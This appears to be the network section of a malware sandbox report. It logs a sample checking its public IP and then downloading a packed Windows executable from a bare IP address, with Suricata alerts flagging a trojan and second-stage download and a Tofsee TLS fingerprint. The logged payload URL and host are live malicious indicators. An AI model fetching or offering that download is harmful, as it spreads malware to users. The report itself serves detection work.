Network Analysis
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| api.ip.sb | 104.26.13.31 |
GET
200
https://api.ip.sb/ip
REQUEST
RESPONSE
BODY
GET /ip HTTP/1.1
Host: api.ip.sb
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Mon, 22 Aug 2022 09:15:43 GMT
Content-Type: text/plain
Transfer-Encoding: chunked
Connection: keep-alive
vary: Accept-Encoding
Cache-Control: no-cache
CF-Cache-Status: DYNAMIC
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=6Cb0w9zgJXE7py0ZtTogHfRlyStEP2nCDLF36mXmVgI0Oehql62kxjiOtglm16vuBNXTnxLuvha1%2B0KK44zCcKbpEu5i7WfBU69VhPbW1Nz3g0cGfhTUlrYLXg%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Server: cloudflare
CF-RAY: 73ea8167ef888cfe-KIX
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
GET
200
http://31.41.244.146/download/22windows_64.exe
REQUEST
RESPONSE
BODY
GET /download/22windows_64.exe HTTP/1.1
Host: 31.41.244.146
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 22 Aug 2022 09:15:51 GMT
Content-Type: application/octet-stream
Content-Length: 4229632
Last-Modified: Mon, 08 Aug 2022 23:00:20 GMT
Connection: keep-alive
ETag: "62f19584-408a00"
Accept-Ranges: bytes
ICMP traffic
No ICMP traffic performed.
IRC traffic
No IRC requests performed.
Suricata Alerts
| Flow | SID | Signature | Category |
|---|---|---|---|
| TCP 192.168.56.103:49169 -> 31.41.244.146:80 | 2016141 | ET INFO Executable Download from dotted-quad Host | A Network Trojan was detected |
| TCP 31.41.244.146:80 -> 192.168.56.103:49169 | 2014819 | ET INFO Packed Executable Download | Misc activity |
| TCP 31.41.244.146:80 -> 192.168.56.103:49169 | 2018959 | ET POLICY PE EXE or DLL Windows file download HTTP | Potential Corporate Privacy Violation |
| TCP 31.41.244.146:80 -> 192.168.56.103:49169 | 2016538 | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download | Potentially Bad Traffic |
| TCP 31.41.244.146:80 -> 192.168.56.103:49169 | 2021076 | ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response | Potentially Bad Traffic |
| TCP 192.168.56.103:49167 -> 172.67.75.172:443 | 906200054 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
Suricata TLS
| Flow | Issuer | Subject | Fingerprint |
|---|---|---|---|
|
TLSv1 192.168.56.103:49167 172.67.75.172:443 |
C=US, O=Cloudflare, Inc., CN=Cloudflare Inc RSA CA-2 | C=US, ST=California, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com | 8b:21:8f:0f:6e:2d:53:34:b7:d3:f5:58:58:99:01:63:93:81:e6:f1 |
Snort Alerts
No Snort Alerts